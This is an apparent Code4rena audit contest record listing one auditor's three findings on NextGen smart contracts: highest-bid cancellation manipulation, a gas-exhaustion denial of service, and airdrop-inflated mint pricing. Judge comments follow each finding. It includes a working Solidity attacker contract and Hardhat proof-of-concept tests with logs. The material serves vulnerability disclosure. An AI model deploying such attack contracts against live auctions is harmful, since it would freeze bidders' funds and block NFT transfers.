Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 3/243
Findings: 3
Award: $2,850.09
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
The AuctionDemo.cancelBids()
function allows bidders to withdraw their bids, but there is a critical issue. It allows the current highest bidder to cancel their bid, potentially manipulating the auction. This vulnerability enables any fraudulent actor to place a low bid, followed by a much higher bid. Shortly before the auction ends, the actor cancels the high bid, leaving the lower bid as the highest when no other bids exist. This risks unfairly winning the auction without a valid competitive bidding process.
The admin has just initiated an auction, Alice is interested but wants it at a minimal cost.
function cancelBid(uint256 _tokenid, uint256 index) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); auctionInfoData[_tokenid][index].status = false; (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); }
From the snippet above, all the conditions will pass and 1000 Ether will be transferred back to Alice, leaving the highest bid to be one wei. 5. With no other bids, Alice's initial one-wei bid emerges as the winning bid.
This maneuver provides Alice with an unfair advantage, as she manipulates the auction dynamics to ensure victory with negligible cost. It's noteworthy that Alice faces no financial risk, as she can always retrieve her funds by canceling the high bid.
Also, from a business perspective, this strategy could be perceived as a potential means for the admin to artificially inflate prices by introducing high bids, compelling other bidders to bid beyond their intended limits.
Note; the malicious actor can make the call with two different addresses, so no foul play will be perceived.
Manual review.
Disallow the cancellation of the highest bid at every point in time.
function cancelBid(uint256 _tokenid, uint256 index) public { require(auctionInfoData[_tokenid][index].bid != returnHighestBid(_tokenid), "Not allowed to cancel highest bid"); require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); auctionInfoData[_tokenid][index].status = false; (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); }
Context
#0 - c4-pre-sort
2023-11-15T08:35:45Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:12:49Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:16:04Z
alex-ppg marked the issue as duplicate of #1784
#3 - c4-judge
2023-12-07T11:50:09Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T17:24:41Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-08T17:28:02Z
alex-ppg marked the issue as satisfactory
#6 - c4-judge
2023-12-08T18:14:35Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
2.7688 USDC - $2.77
The AuctionDemo.claimAuction()
function is vulnerable to a Denial of Service (DOS) attack, as an adversary can exploit the operation within the function to cause disruption.
The vulnerability arises from the loop iterating through the entire array of auction participants to refund users who lost the bid to the highest bidder. The attack becomes feasible when an adversary deploys a contract to interact with the Auction Demo contract, participating multiple times in the auction with negligible amounts. As long as the bid amount increases, it satisfies the requirements, enabling the adversary to flood the auction process.
The likelihood of this attack is high since there is no minimum bid set at the beginning of the auction, so no much liquidity is required by the attacker.
Impact: claiming auction will be impossible, refund will be impossible and there is also no way for the protocol admin to recover funds because the contract lacks a method for emergency withdrawal of Ether.
AuctionDemo.claimAuction()
iterate through auctionInfoData[_tokenid]
to refund participants here.
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
The attacker can exploit a contract's fallback function, triggered when the contract receives Ether, to execute a logic that consumes the entire gas of a transaction. This intentional gas exhaustion results in an out-of-gas error, causing a Denial of Service (DOS) attack. Check the attacker's contract.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./AuctionDemo.sol"; contract AttackAuction { auctionDemo public _auctionDemo; address public auction; constructor(address _auctionDemoContract) { auction = _auctionDemoContract; _auctionDemo = auctionDemo(_auctionDemoContract); } receive() external payable { //This unending computation will trigger when contract receives ether uint256 ans; uint256 ans2; for (uint i = 0; i < 1_000_000; ) { ans = 1000 * 100 ** 10; ans2 = 1000 * 100 ** 10; } } //Calls the AuctionDemo Contract to participate in auction function ParticipationInAuction( uint256 _tokenid, uint256 amount ) public payable { (bool success, ) = auction.call{value: amount}( abi.encodeWithSignature("participateToAuction(uint256)", _tokenid) ); require(success, "Call to Auction failed"); } function claimNFTandStealFunds(uint256 _tokenid) public { _auctionDemo.claimAuction(_tokenid); } }
Paste the coded PoC in nexGen.test.js
it("#Test_Ability_of_Auction_Participant_To_DOS_Claiming_And_Refund", async function () { this.timeout(100000000); //Test might take time, so timeout was increased const auctionEndTIme = (await time.latest()) + 1000; //Setting Auction end time //Admin calls MintAndAuction and set parameters await contracts.hhMinter.mintAndAuction( signers.owner.address, // _reciever '{"tdh": "100"}', //_tokenData 1, //satfun_o 3, //collectionID auctionEndTIme ); const minIndex = 30000000005; const firstBid = 2000000000000000; const secondBid = 3000000000000000; const thirdBid = 4000000000000000; const attackerFirstBid = 100000; const attackerSecondBid = 50000; const auctionDemoAddress = await contracts.hhAuctionDemo.getAddress(); const attackerContractAddress = await contracts.hhAttackAuction.getAddress(); // Auction COntract Balance Before Auction const auction1 = await ethers.provider.getBalance(auctionDemoAddress); // ATTACKER PLACING MULTIPLE DUST BIDS await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 1, { value: 1, }); await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 2, { value: 2, }); await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 3, { value: 3, }); await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 4, { value: 4, }); // First Real BIDDING await contracts.hhAuctionDemo .connect(signers.addr1) .participateToAuction(minIndex, { value: firstBid, }); // Second Real BIDDING await contracts.hhAuctionDemo .connect(signers.addr2) .participateToAuction(minIndex, { value: secondBid, }); // Third Real BIDDING await contracts.hhAuctionDemo .connect(signers.addr3) .participateToAuction(minIndex, { value: thirdBid, }); // Auction Contract Balance After Auction const auction2 = await ethers.provider.getBalance(auctionDemoAddress); //Check that All bids are in Auction Contract expect(auction2).greaterThanOrEqual( firstBid + secondBid + thirdBid + 1 + 2 + 3 + 4 ); // Check the new Owner of the Token const oldOwnerOfNFT = await contracts.hhCore.ownerOf(minIndex); //Admins gives AuctionDemo appoval for NFT await contracts.hhCore.setApprovalForAll(auctionDemoAddress, minIndex); //Fastforward time to End of Auction time.increaseTo(auctionEndTIme); try { await contracts.hhAuctionDemo.claimAuction(minIndex); assert.fail("Function did not revert as expected"); } catch (error) { expect(error.message).to.contain("Transaction ran out of gas"); } // Auction Contract Balance After claimAuction was called const auction3 = await ethers.provider.getBalance(auctionDemoAddress); expect(auction2).equal(auction3); //Refund Failed // Auction attacker Contract Balance After Claim const auctionAttackerBalAft = await ethers.provider.getBalance( attackerContractAddress ); expect(auctionAttackerBalAft).equal(0); //the attacker balance remains zero as refund failed // Check the new Owner of the Token const newOwnerOfNFT = await contracts.hhCore.ownerOf(minIndex); expect(oldOwnerOfNFT).equal(newOwnerOfNFT); //Change of NFT ownership also failed console.log( "===============================================================" ); console.log("Old NFT Owner:", oldOwnerOfNFT); console.log("New NFT Owner:", newOwnerOfNFT); console.log("Auction Demo Balance Before Auction Start:", auction1); console.log("Auction Demo Balance After End of Auction:", auction2); console.log("Auction Demo Balance After Claim:", auction3); console.log("Attacker Balance after claim:", auctionAttackerBalAft); console.log( "================================================================" ); });
Logs:
=============================================================== Old NFT Owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 New NFT Owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 Auction Demo Balance Before Auction Start: 0n Auction Demo Balance After End of Auction: 9000000000000010n Auction Demo Balance After Claim: 9000000000000010n Attacker Balance after claim: 0n ================================================================
Manual review and Hardhat.
Implement a refund()
method and allow users who lost bid to claim their funds individually.
DoS
#0 - c4-pre-sort
2023-11-18T13:34:58Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:44:28Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:44:46Z
alex-ppg marked the issue as duplicate of #1782
#3 - c4-judge
2023-12-08T20:53:38Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: 0x3b
Also found by: AvantGard, lanrebayode77
2847.3221 USDC - $2,847.32
Users will have to pay more than usual when minting from a collection that utilizes the Period Model and has a rate set.
For sales model 3, the protocol wants the price to increase as minting increases when rate is set. https://seize-io.gitbook.io/nextgen/nextgen-smart-contracts/minter
If the rate is set, then the minting cost price increases based on the tokens minted. In the Period model the rate refers to a percentage that is used to calculate the new price based on the starting price and current minting supply, ex. If the starting cost is 1ETH and the rate is set to 10%, during each minting the price will be increased by 0.1 ETH.
In the bid to achieve that, the code is implemented as seen below: https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L535-L536
if (collectionPhases[_collectionId].rate > 0) { return collectionPhases[_collectionId].collectionMintCost + ((collectionPhases[_collectionId].collectionMintCost / collectionPhases[_collectionId].rate) * gencore.viewCirSupply(_collectionId));
However, instead of considering only the actual minted tokens, the calculation utilizes the entire circulationSuplly which includes the airdropped tokens, this oversight will abnormally increase the price to be paid by users when minting than it's supposed to be.
A proof that circulationSupply includes airdrops https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L180
collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
Add this PoC to nextGen.test.js
file
//////////////////MY POC TEST////////////////////////////// it("#AIRDROPNFTCol3", async function () { const circulatingSupplyBefore = await contracts.hhCore.viewCirSupply(3); const price = await contracts.hhMinter.getPrice( 3 // _collectionID ); //NOTE: Two tokens were previously minted and mintingPrice is 1ETH expect(parseInt(price)).equal(1200000000000000000); // console.log( "Supply After Two Mint and Zero Air-Drop:", circulatingSupplyBefore, "Price:", price ); //AIRDROP await contracts.hhMinter.airDropTokens( [signers.addr1.address, signers.addr2.address], // _recipients ['{"tdh": "100"}', '{"tdh": "200"}'], // _numberOfTokens [1, 2], // _varg0 3, // _collectionID [1, 2] // _numberOfTokens ); //CHECK PRICE AFTER AIRDROP const Newprice = await contracts.hhMinter.getPrice( 3 // _collectionID ); //OBSERVE THE INCREASE AS A RESULT OF AIRDROPPED TOKENS expect(parseInt(Newprice)).equal(1500000000000000000); // const circulatingSupplyAfter = await contracts.hhCore.viewCirSupply(3); console.log( "Supply After Two Mint and Three Air-Drop:", circulatingSupplyAfter, "Price:", Newprice ); });
Output
Supply After Two Mint and Zero Air-Drop: 2n Price: 1200000000000000000n Supply After Two Mint and Three Air-Drop: 5n Price: 1500000000000000000n
Manual report and Hardhat.
Exclude airdropped tokens from the calculation, as the documentation explicitly specifies that the increase should solely be determined by minted tokens.
To implement this, you can maintain a record of the total airdropped token quantity and deduct that amount from the circulation supply.
Math
#0 - c4-pre-sort
2023-11-16T10:27:14Z
141345 marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T23:49:08Z
141345 marked the issue as primary issue
#2 - c4-sponsor
2023-11-23T09:05:59Z
a2rocket (sponsor) confirmed
#3 - alex-ppg
2023-12-05T16:48:25Z
I believe this to be a duplicate of #2012 albeit referring to airdropped tokens instead of tokens minted via other means. I will most likely merge, but will keep it separate for now.
#4 - c4-judge
2023-12-07T12:14:29Z
alex-ppg marked issue #381 as primary and marked this issue as a duplicate of 381
#5 - c4-judge
2023-12-08T22:33:01Z
alex-ppg marked the issue as satisfactory